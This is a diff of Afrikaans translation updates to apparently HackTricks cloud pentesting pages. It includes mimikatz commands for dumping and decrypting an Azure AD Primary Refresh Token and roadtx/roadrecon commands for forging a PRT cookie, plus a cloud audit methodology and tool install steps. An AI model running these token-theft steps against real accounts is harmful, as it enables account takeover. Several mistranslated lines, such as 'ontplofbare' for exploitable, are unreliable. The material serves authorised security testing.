Dit sal egter moontlik wees om 'n **sleutel van 'n afgeleide sleutel uit 'n konteks** van die TPM te kry en dit te gebruik om 'n **koekie te teken (kyk na opsie 3).** -You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +Jy kan 'n **in-diepte verduideliking van die uitgevoerde proses** om hierdie besonderhede te onttrek hier vind: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> Dit sal nie presies werk na die Augustus 2021 regstellings om ander gebruikers se PRT tokens te verkry nie, aangesien slegs die gebruiker sy PRT kan verkry (n plaaslike admin kan nie ander gebruikers se PRTs toegang nie), maar kan syne verkry. +> Dit sal nie presies werk na die Augustus 2021 regstellings om ander gebruikers se PRT tokens te verkry nie, aangesien slegs die gebruiker sy PRT kan verkry (n plaaslike admin kan nie ander gebruikers se PRTs toegang nie), maar kan syne toegang. -You can use **mimikatz** to extract the PRT: +Jy kan **mimikatz** gebruik om die PRT te onttrek: ```powershell mimikatz.exe Privilege::debug @@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Kopieer** die deel gemerk **Prt** en stoor dit.\ -Onttrek ook die sessiesleutel (die **`KeyValue`** van die **`ProofOfPossesionKey`** veld) wat jy hieronder gemerk kan sien. Dit is versleuteld en ons sal ons DPAPI meester sleutels moet gebruik om dit te ontsleutel. +Onthou ook die sessiesleutel (die **`KeyValue`** van die **`ProofOfPossesionKey`** veld) wat jy hieronder gemerk kan sien. Dit is versleuteld en ons sal ons DPAPI meester sleutels moet gebruik om dit te ontsleutel.
> [!NOTE] > As jy nie enige PRT-data sien nie, kan dit wees dat jy **nie enige PRT's het nie** omdat jou toestel nie Azure AD-verbonden is nie of dit kan wees dat jy **'n ou weergawe** van Windows 10 gebruik. -Om die sessiesleutel te **ontsleutel** moet jy jou regte **verhoog** na **SYSTEM** om onder die rekenaar konteks te werk om die **DPAPI meester sleutel te gebruik om dit te ontsleutel**. Jy kan die volgende opdragte gebruik om dit te doen: +Om die sessiesleutel te **ontsleutel** moet jy jou regte **verhoog** na **SYSTEM** om onder die rekenaar konteks te loop sodat jy die **DPAPI meester sleutel kan gebruik om dit te ontsleutel**. Jy kan die volgende opdragte gebruik om dit te doen: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -196,7 +196,7 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect #### Opsie 1 - Volledige Mimikatz -- Nou wil jy beide die Context waarde kopieer: +- Nou wil jy beide die Konteks waarde kopieer:
@@ -220,15 +220,15 @@ HttpOnly: Set to True (checked) - Gaan dan na [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> Die res behoort die standaardinstellings te wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees. +> Die res moet die standaardinstellings wees. Maak seker jy kan die bladsy verfris en die koekie verdwyn nie, as dit wel gebeur, het jy dalk 'n fout gemaak en moet die proses weer deurgaan. As dit nie gebeur nie, behoort jy reg te wees. #### Opsie 2 - roadrecon met PRT -- Verleng eers die PRT, wat dit in `roadtx.prt` sal stoor: +- Vernuw die PRT eers, wat dit in `roadtx.prt` sal stoor: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` -- Nou kan ons **tokens versoek** met die interaktiewe blaaiertjie met `roadtx browserprtauth`. As ons die `roadtx describe` opdrag gebruik, sien ons die toegangstoken sluit 'n MFA-eis in omdat die PRT wat ek in hierdie geval gebruik het ook 'n MFA-eis gehad het. +- Nou kan ons **tokens versoek** met die interaktiewe blaaskas met `roadtx browserprtauth`. As ons die `roadtx describe` opdrag gebruik, sien ons die toegangstoken sluit 'n MFA-eis in omdat die PRT wat ek in hierdie geval gebruik het ook 'n MFA-eis gehad het. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth @@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth #### Opsie 3 - roadrecon met afgeleide sleutels -Met die konteks en die afgeleide sleutel wat deur mimikatz gestort is, is dit moontlik om roadrecon te gebruik om 'n nuwe ondertekende koekie te genereer met: +Met die konteks en die afgeleide sleutel wat deur mimikatz gestort is, is dit moontlik om roadrecon te gebruik om 'n nuwe geskrewe koekie te genereer met: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index e4bc76005..d4aaa6c8e 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -Om die toetse te begin, moet jy toegang hê met 'n gebruiker met **Leser toestemmings oor die subskripsie** en **Globale Leser rol in AzureAD**. As jy selfs in daardie geval **nie in staat is om toegang te verkry tot die inhoud van die Stoor rekeninge** nie, kan jy dit regstel met die **rol Stoor Rekening Bydraer**. +Om die toetse te begin, moet jy toegang hê met 'n gebruiker met **Leser toestemmings oor die intekening** en **Globale Leser rol in AzureAD**. As jy selfs in daardie geval **nie in staat is om die inhoud van die Stoor rekeninge te bekom nie**, kan jy dit regstel met die **rol Stoor Rekening Bydraer**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 473315549..4d78a2c78 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,10 +1,10 @@ -# Pentesting Cloud Methodology +# Pentesting Cloud Metodologie {{#include ../banners/hacktricks-training.md}}
-## Basic Methodology +## Basiese Metodologie Elke wolk het sy eie eienaardighede, maar oor die algemeen is daar 'n paar **gemeenskaplike dinge wat 'n pentester moet nagaan** wanneer 'n wolkomgewing getoets word: @@ -16,23 +16,23 @@ Elke wolk het sy eie eienaardighede, maar oor die algemeen is daar 'n paar **gem - Dit sal jou toelaat om te weet **wat presies gebruik word** in die wolkomgewing. - Dit sal baie help in die volgende stappe. - **Kontroleer blootgestelde bates** -- Dit kan gedoen word tydens die vorige afdeling, jy moet **uitvind alles wat potensieel blootgestel is** aan die Internet op een of ander manier en hoe dit toegang kan verkry. +- Dit kan gedoen word tydens die vorige afdeling, jy moet **uitvind alles wat potensieel blootgestel is** aan die Internet op een of ander manier en hoe dit toegang verkry kan word. - Hier neem ek **handmatig blootgestelde infrastruktuur** soos instansies met webbladsye of ander poorte wat blootgestel word, en ook oor ander **wolkkontroleerde dienste wat geconfigureer kan word** om blootgestel te word (soos DB's of emmers). -- Dan moet jy nagaan **of daardie hulpbron blootgestel kan word of nie** (vertroulike inligting? kwesbaarhede? miskonfigurasies in die blootgestelde diens?). +- Dan moet jy nagaan **of daardie hulpbron blootgestel kan word of nie** (vertroulike inligting? kwesbaarhede? miskonfigurasies in die blootgestelde diens?) - **Kontroleer toestemmings** -- Hier moet jy **uitvind wat die toestemmings van elke rol/gebruiker** binne die wolk is en hoe dit gebruik word. +- Hier moet jy **alle toestemmings van elke rol/gebruiker** binne die wolk uitvind en hoe dit gebruik word. - Te **veel hoogs bevoorregte** (beheer alles) rekeninge? Gekreëerde sleutels wat nie gebruik word?... Die meeste van hierdie kontroles sou reeds in die benchmark toetse gedoen moes gewees het. - As die kliënt OpenID of SAML of ander **federasie** gebruik, mag jy hulle moet vra vir verdere **inligting** oor **hoe elke rol toegeken word** (dit is nie dieselfde dat die admin rol aan 1 gebruiker of aan 100 toegeken word nie). - Dit is **nie genoeg om te vind** watter gebruikers **admin** toestemmings het "\*:\*". Daar is baie **ander toestemmings** wat, afhangende van die dienste wat gebruik word, baie **sensitief** kan wees. -- Boonop is daar **potensiële privesc** maniere om te volg deur misbruik van toestemmings. Al hierdie dinge moet in ag geneem word en **so veel privesc paaie as moontlik** moet gerapporteer word. +- Boonop is daar **potensiële privesc** maniere om te volg deur toestemmings te misbruik. Al hierdie dinge moet in ag geneem word en **so veel privesc paaie as moontlik** moet gerapporteer word. - **Kontroleer Integrasies** - Dit is hoogs waarskynlik dat **integrasies met ander wolke of SaaS** binne die wolkomgewing gebruik word. -- Vir **integrasies van die wolk wat jy oudit** met ander platforms moet jy **ken wie toegang het tot (mis)bruik van daardie integrasie** en jy moet vra **hoe sensitief** die aksie wat uitgevoer word is.\ +- Vir **integrasies van die wolk wat jy oudit** met ander platforms, moet jy kennis gee van **wie toegang het tot (mis)bruik van daardie integrasie** en jy moet vra **hoe sensitief** die aksie wat uitgevoer word is.\ Byvoorbeeld, wie kan skryf in 'n AWS-emmer waar GCP data van ontvang (vra hoe sensitief die aksie in GCP is wat daardie data hanteer). -- Vir **integrasies binne die wolk wat jy oudit** van eksterne platforms, moet jy vra **wie toegang het om (mis)bruik te maak van daardie integrasie** en kyk hoe daardie data gebruik word.\ -Byvoorbeeld, as 'n diens 'n Docker-beeld gebruik wat in GCR gehos te is, moet jy vra wie toegang het om dit te wysig en watter sensitiewe inligting en toegang daardie beeld sal kry wanneer dit binne 'n AWS-wolk uitgevoer word. +- Vir **integrasies binne die wolk wat jy oudit** van eksterne platforms, moet jy vra **wie toegang het om eksterne (mis)bruik van daardie integrasie** en nagaan hoe daardie data gebruik word.\ +Byvoorbeeld, as 'n diens 'n Docker-beeld gebruik wat in GCR gehoste is, moet jy vra wie toegang het om dit te wysig en watter sensitiewe inligting en toegang daardie beeld sal kry wanneer dit binne 'n AWS-wolk uitgevoer word. -## Multi-Cloud tools +## Multi-Cloud gereedskap Daar is verskeie gereedskap wat gebruik kan word om verskillende wolkomgewings te toets. Die installasietappe en skakels sal in hierdie afdeling aangedui word. @@ -41,7 +41,7 @@ Daar is verskeie gereedskap wat gebruik kan word om verskillende wolkomgewings t 'n Gereedskap om **slegte konfigurasies en privesc paaie in wolke en oor wolke/SaaS te identifiseer.** {{#tabs }} -{{#tab name="Install" }} +{{#tab name="Installeer" }} ```bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda @@ -170,7 +170,7 @@ steampipe check all Kontroleer alle Projekte -Om al die projekte te kontroleer, moet jy die `gcp.spc` lêer genereer wat al die projekte aandui wat getoets moet word. Jy kan net die aanwysings van die volgende skrif volg. +Om al die projekte te kontroleer, moet jy die `gcp.spc` lêer genereer wat al die projekte aandui wat getoets moet word. Jy kan net die aanduidings van die volgende skrif volg. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -227,7 +227,7 @@ steampipe check all --export=/tmp/output4.json ``` Om Terraform AWS kode te kontroleer: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Meer AWS-inproppe van Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Meer AWS plugins van Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} @@ -305,7 +305,7 @@ ghcr.io/lyft/cartography \ Starbase versamel bates en verhoudings van dienste en stelsels, insluitend wolkinfrastruktuur, SaaS-toepassings, sekuriteitsbeheer, en meer in 'n intuïtiewe grafiekweergave wat deur die Neo4j-databasis ondersteun word. {{#tabs }} -{{#tab name="Installeer" }} +{{#tab name="Install" }} ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -376,7 +376,7 @@ Scan-AzureAdmins ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox is 'n gereedskap om uitbuitbare aanvalspaaie in wolkinfrastruktuur te vind (huidiglik slegs AWS & Azure ondersteun met GCP wat kom). +- CloudFox is 'n gereedskap om ontplofbare aanvalspaaie in wolkinfrastruktuur te vind (huidiglik slegs AWS & Azure ondersteun met GCP wat kom). - Dit is 'n enumerasie-gereedskap wat bedoel is om handmatige pentesting aan te vul. - Dit skep of wysig nie enige data binne die wolkomgewing nie.